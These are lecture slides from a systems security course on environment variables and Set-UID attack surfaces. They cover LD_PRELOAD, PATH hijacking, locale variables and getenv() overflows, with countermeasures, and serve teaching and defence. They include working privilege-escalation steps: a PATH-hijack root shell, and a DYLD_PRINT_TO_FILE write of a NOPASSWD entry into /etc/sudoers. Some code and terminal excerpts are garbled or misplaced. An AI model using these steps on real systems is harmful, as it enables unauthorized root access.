Environment Variables & Attacks

Environment Variables

- A set of dynamic named values
- Part of the operating environment in which a process runs
- Affect the way that a running process will behave
- Introduced in Unix and also adopted by Microsoft Windows
- Example: PATH variable
 - When a program is executed the shell process will use the environment variable to find where the program is, if the full path is not provided.

How to Access Environment Variables

```
#include <stdio.h>
void main(int argc, char* argv[], char* envp[])

{
   int i = 0;
   while (envp[i] !=NULL) {
      printf("%s\n", envp[i++]);
   }
}
From the main function
```

More reliable way: Using the global variable

```
#include <stdio.h>

extern char** environ;
void main(int argc, char* argv[], char* envp[])
{
   int i = 0;
   while (environ[i] != NULL) {
      printf("%s\n", environ[i++]);
   }
}
```

How Does a process get Environment Variables?

- Process can get environment variables one of two ways:
 - If a new process is created using fork() system call, the child process will inherits its parent process's environment variables.
 - If a process runs a new program in itself, it typically uses execve() system call. In this scenario, the memory space is overwritten and all old environment variables are lost. execve() can be invoked in a special manner to pass environment variables from one process to another.
- Passing environment variables when invoking execve():

execve() and Environment variables


- The program executes a new program /usr/bin/env, which prints out the environment variables of the current process.
- We construct a new variable newenv, and use it as the 3rd argument.

```
extern char ** environ;
void main(int argc, char* argv[], char* envp[])
 int i = 0; char* v[2]; char* newenv[3];
 if (argc < 2) return;
 // Construct the argument array
 v[0] = "/usr/bin/env"; v[1] = NULL;
 // Construct the environment variable array
 newenv[0] = "AAA=aaa"; newenv[1] = "BBB=bbb"; newenv[2] = NULL;
  switch(argv[1][0]) {
    case '1': // Passing no environment variable.
      execve(v[0], v, NULL);
   case '2': // Passing a new set of environment variables.
      execve(v[0], v, newenv);
    case '3': // Passing all the environment variables.
      execve(v[0], v, environ);
   default:
      execve(v[0], v, NULL);
```

execve() and Environment variables

Memory Location for Environment Variables

- envp and environ points to the same place initially.
- envp is only accessible inside the main function, while environ is a global variable.
- When changes are made to the environment variables (e.g., new ones are added), the location for storing the environment variables may be moved to the heap, so environ will change (envp does not change)



- People often mistake shell variables and environment variables to be the same.
- Shell Variables:
 - Internal variables used by shell.
 - Shell provides built-in commands to allow users to create, assign and delete shell variables.
 - In the example, we create a shell variable called FOO.

```
seed@ubuntu: $\circ$ FOO=bar
seed@ubuntu: $\circ$ echo $FOO
bar
seed@ubuntu: $\circ$ unset FOO
seed@ubuntu: $\circ$ echo $FOO
seed@ubuntu: $\circ$$
```

Side Note on The /proc File System

- /proc is a virtual file system in linux. It contains a directory for each process, using the process ID as the name of the directory
- Each process directory has a virtual file called environ, which contains the environment of the process.
 - e.g., virtual file /proc/932/environ contains the environment variable of process 932
 - The command "strings /proc/\$\$/environ" prints out the environment variable of the current process (shell will replace \$\$ with its own process ID)
- When env program is invoked in a bash shell, it runs in a child process.
 Therefore, it print out the environment variables of the shell's child process, not its own.

- Shell variables and environment variables are different
- When a shell program starts, it copies the environment variables into its own shell variables. Changes made to the shell variable will not reflect on the environment variables, as shown in example:

```
Environment variable  
LOGNAME=seed  
seed@ubuntu: ~/test$ echo $LOGNAME

Shell variable  
seed  
seed@ubuntu: ~/test$ LOGNAME=bob  
seed@ubuntu: ~/test$ echo $LOGNAME


Shell variable is changed  
bob  
seed@ubuntu: ~/test$ strings /proc/$$/environ | grep LOGNAME

Environment variable is the same  
LOGNAME=seed  
seed@ubuntu: ~/test$ unset LOGNAME  
seed@ubuntu: ~/test$ echo $LOGNAME

Shell variable is gone  
Shell variable is gone  
seed@ubuntu: ~/test$ strings /proc/$$/environ | grep LOGNAME

Shell variable is gone  
Seed@ubuntu: ~/test$ strings /proc/$$/environ | grep LOGNAME

Shell variable is still here  
LOGNAME=seed
```



- This figure shows how shell variables affect the environment variables of child processes
- It also shows how the parent shell's environment variables becomes the child process's environment variables (via shell variables)

When we type env in shell prompt, shell will create a child process

```
Print out environment variable

Only LOGNAME and LOGNAME3
get into the child process, but
not LOGNAME2. Why?


Seed@ubuntu: ** strings /proc/$$/environ | grep LOGNAME

LOGNAME2=alice
seed@ubuntu: ** export LOGNAME3=bob
seed@ubuntu: ** env | grep LOGNAME

LOGNAME3=bob
seed@ubuntu: ** unset LOGNAME
seed@ubuntu: ** unset LOGNAME
seed@ubuntu: ** env | grep LOGNAME
seed@ubuntu: ** env | grep LOGNAME
seed@ubuntu: ** env | grep LOGNAME
```

Attack Surface on Environment Variables

- Hidden usage of environment variables is dangerous.
- Since users can set environment variables, they become part of the attack surface on Set-UID programs.



- Linking finds the external library code referenced in the program
- Linking can be done during runtime or compile time:
 - Dynamic Linking uses environment variables, which becomes part of the attack surface
 - Static Linking
- We will use the following example to differentiate static and dynamic linking:

```
/* hello.c */
# include <stdio.h>
int main()
{
    printf("hello world");
    return 0;
}
```


Static Linking

- The linker combines the program's code and the library code containing the printf() function
- We can notice that the size of a static compiled program is 100 times larger than a dynamic program

```
seed@ubuntu:$ gcc -o hello_dynamic hello.c
seed@ubuntu:$ gcc -static -o hello_static hello.c
seed@ubuntu:$ ls -l
-rw-rw-r-- 1 seed seed 68 Dec 31 13:30 hello.c
-rwxrwxr-x 1 seed seed 7162 Dec 31 13:30 hello_dynamic
-rwxrwxr-x 1 seed seed 751294 Dec 31 13:31 hello_static
```

Dynamic Linking

- The linking is done during runtime
 - Shared libraries (DLL in windows)
- Before a program compiled with dynamic linking is run, its executable is loaded into the memory first



Dynamic Linking:

 We can use "Idd" command to see what shared libraries a program depends on :

```
$ ldd hello_static
  not a dynamic executable
$ ldd hello_dynamic
  linux-gate.so.1 => (0xb774b000)
  libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb758e000)
  /lib/ld-linux.so.2 (0xb774c000)
```

The dynamic linker itself is in a shared library. It is invoked before the main function gets invoked.

The libc library (contains functions like printf() and sleep())

Attacks via Dynamic Linker: the Risk

- Dynamic linking saves memory
- This means that a part of the program's code is undecided during the compilation time
- If the user can influence the missing code, they can compromise the integrity of the program

- LD_PRELOAD contains a list of shared libraries which will be searched first by the linker
- If not all functions are found, the linker will search among several lists of folder including the one specified by LD_LIBRARY_PATH
- Both variables can be set by users, so it gives them an opportunity to control the outcome of the linking process
- If that program were a Set-UID program, it may lead to security breaches

Example 1 – Normal Programs:

Program calls sleep function which is dynamically linked:

```
/* mytest.c */
int main()
{
    seed@ubuntu:$ gcc mytest.c -o mytest
    seed@ubuntu:$ ./mytest
    seed@ubuntu:$
    return 0;
}
```

Now we implement our own sleep() function:

```
#include <stdio.h>
/* sleep.c */
void sleep (int s)
{
    printf("I am not sleeping!\n");
}
```

Example 1 – Normal Programs (continued):

 We need to compile the above code, create a shared library and add the shared library to the LD_PRELOAD environment variable

Example 2 – Set-UID Programs:

• If the technique in example 1 works for Set-UID program, it can be very dangerous. Lets convert the above program into Set-UID:

```
seed@ubuntu:$ sudo chown root mytest
seed@ubuntu:$ sudo chmod 4755 mytest
seed@ubuntu:$ ls -1 mytest
-rwsr-xr-x 1 root seed 7161 Dec 27 08:35 mytest
seed@ubuntu:$ export LD_PRELOAD=./libmylib.so.1.0.1
seed@ubuntu:$ ./mytest
seed@ubuntu:$
```

- Our sleep() function was not invoked.
 - This is due to a countermeasure implemented by the dynamic linker. It ignores the LD_PRELOAD and LD_LIBRARY_PATH environment variables when the EUID and RUID differ.
- Lets verify this countermeasure with an example in the next slide.

Let's verify the countermeasure

• Make a copy of the env program and make it a Set-UID program :

```
seed@ubuntu: $ cp /usr/bin/env ./myenv

seed@ubuntu: $ sudo chown root myenv

seed@ubuntu: $ sudo chmod 4755 myenv

seed@ubuntu: $ ls -1 myenv

-rwsr-xr-x 1 root seed 22060 Dec 27 09:30 myenv
```

Export LD_LIBRARY_PATH and LD_PRELOAD and run both the programs:

```
Run the original env program

Run our env program
```

Case study: OS X Dynamic Linker

- As discussed in Chapter 1 (in capability leaking), apple OS X 10.10 introduced a new environment variable without analyzing its security implications perfectly.
- DYLD_PRINT_TO_FILE
 - Ability for users to supply filename for dyld
 - If it is a Set-UID program, users can write to a protected file
 - Capability leak file descriptor not closed
- Exploit example:
 - Set DYLD PRINT TO FILE to /etc/sudoers
 - Switch to Bob's account
 - The echo command writes to /etc/sudoers

```
OS X 10.10:$ DYLD_PRINT_TO_FILE=/etc/sudoers
OS X 10.10:$ su bob
Password:
bash:$ echo "bob ALL=(ALL) NOPASSWD:ALL" >&3
```

Attacks via External Program

- An application may invoke an external program.
- The application itself may not use environment variables, but the invoked external program might.
- Typical ways of invoking external programs:
 - exec() family of function which call execve(): runs the program directly
 - system()
 - The system() function calls execl()
 - execl () eventually calls execve () to run /bin/sh
 - The shell program then runs the program
- Attack surfaces differ for these two approaches
- We have discussed attack surfaces for such shell programs in Chapter 1. Here we will focus on the Environment variables aspect.

Attacks via External Program: Case Study

- Shell programs behavior is affected by many environment variables, the most common of which is the PATH variable.
- When a shell program runs a command and the absolute path is not provided, it uses the PATH variable to locate the command.
- Consider the following code:

```
/* The vulnerable program (vul.c) */
#include <stdlib.h>
int main()

{
    system("cal");
}
Full path not provided. We can
use this to manipulate the path
variable
```

We will force the above program to execute the following program:

```
/* our malicious "calendar" program */
int main()
{
    system("/bin/dash");
}
```

Attacks via External Program: Case Study

```
seed@ubuntu:$ gcc -o vul vul.c
seed@ubuntu:$ sudo chown root vul
seed@ubuntu:$ sudo chmod 4755 vul
                                                We will first run the
seed@ubuntu:$ vul
                                                first program without
   December 2015
                                                doing the attack
Su Mo Tu We Th Fr Sa
      8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
                                                We now change the
27 28 29 30 31
                                                PATH environment
seed@ubuntu:$ gcc -o cal cal.c
                                                variable
seed@ubuntu:$ export PATH=.:$PATH
seed@ubuntu:$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:...
seed@ubuntu:$ vul
               ← Get a root shell!
# id
uid=1000 (seed) gid=1000 (seed) euid=0 (root) ...
```

Attacks via External Program: Attack Surfaces

- Compared to system(), execve()'s attack surface is smaller
- execve() does not invoke shell, and thus is not affected by environment variables
- When invoking external programs in privileged programs, we should use execve()
- Refer to Chapter 1 for more information

Attacks via Library

Programs often use functions from external libraries. If these functions use environment variables, they add to the attack surface

Case Study – Locale in UNIX

- Every time a message needs to be printed out, the program uses the provided library functions for the translated message
- Unix uses the gettext() and catopen() in the libc library
- The following code shows how a program can use locale subsystem :

```
int main(int argc, char **argv)
{
   if(argc > 1) {
     printf(gettext("usage: %s filename "),argv[0]);
     exit(0);
   }
   printf("normal execution proceeds...");
}
```

Attacks via Library

- This subsystem relies on the following environment variables: LANG, LANGUAGE, NLSPATH, LOCPATH, LC_ALL, LC_MESSAGES
- These variables can be set by users, so the translated message can be controlled by users.
- Attacker can use format string vulnerability to format the printf() function – More information in chapter 6

Countermeasure:

- This lies with the library author
- Example: Conectiva Linux using the Glibc 2.1.1 library explicitly checks and ignored the NSLPATH environment variable if catopen() and catgets() functions are called from a Set-UID program

Attacks via Application Code

```
/* prog.c */
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    char arr[64];
    char *ptr;

    ptr = getenv("PWD");
    if(ptr != NULL) {
        sprintf(arr, "Present working directory is: %s", ptr);
        printf("%s\n", arr);
    }
    return 0;
}
```

Programs may directly use environment variables. If these are privileged programs, it may result in untrusted inputs.

Attacks via Application Code


- The program uses getenv() to know its current directory from the PWD environment variable
- The program then copies this into an array "arr", but forgets to check the length of the input. This results in a potential buffer overflow.
- Value of PWD comes from the shell program, so every time we change our folder the shell program updates its shell variable.
- We can change the shell variable ourselves.

```
$ pwd
/home/seed/temp
$ echo $PWD
/home/seed/temp
$ cd ..
 echo $PWD
/home/seed
                     Current directory
 cd /
                     with unmodified
  echo $PWD +
                     shell variable
 PWD=xyz
  pwd
                     Current directory
                     with modified shell
 echo $PWD
                     variable
XYZ
```

Attacks via Application Code - Countermeasures

- When environment variables are used by privileged Set-UID programs, they must be sanitized properly.
- Developers may choose to use a secure version of getenv(), such as secure_getenv().
 - getenv() works by searching the environment variable list and returning a pointer to the string found, when used to retrieve a environment variable.
 - secure_getenv() works the exact same way, except it returns NULL when "secure execution" is required.
 - Secure execution is defined by conditions like when the process's user/group EUID and RUID don't match

Set-UID Approach VS Service Approach



Set-UID Approach VS Service Approach

- Most operating systems follow two approaches to allow normal users to perform privileged operations
 - Set-UID approach: Normal users have to run a special program to gain root privileges temporarily
 - Service approach: Normal users have to have to request a privileged service to perform the actions for them. Figure in the earlier slide depicts these two approaches
- Set-UID has a much broader attack surface, which is caused by environment variables
 - Environment variables cannot be trusted in Set-UID approach
 - Environment variables can be trusted in Service approach
- Although, the other attack surfaces still apply to Service approach (Discussed in Chapter 1), it is considered safer than Set-UID approach
- Due to this reason, the Android operating system completely removed the Set-UID and Set-GID mechanism

Summary

- What are environment variables
- How they get passed from one process to its children
- How environment variables affect the behaviors of programs
- Risks introduced by environment variables
- Case studies
- Attack surface comparison between Set-UID and service approaches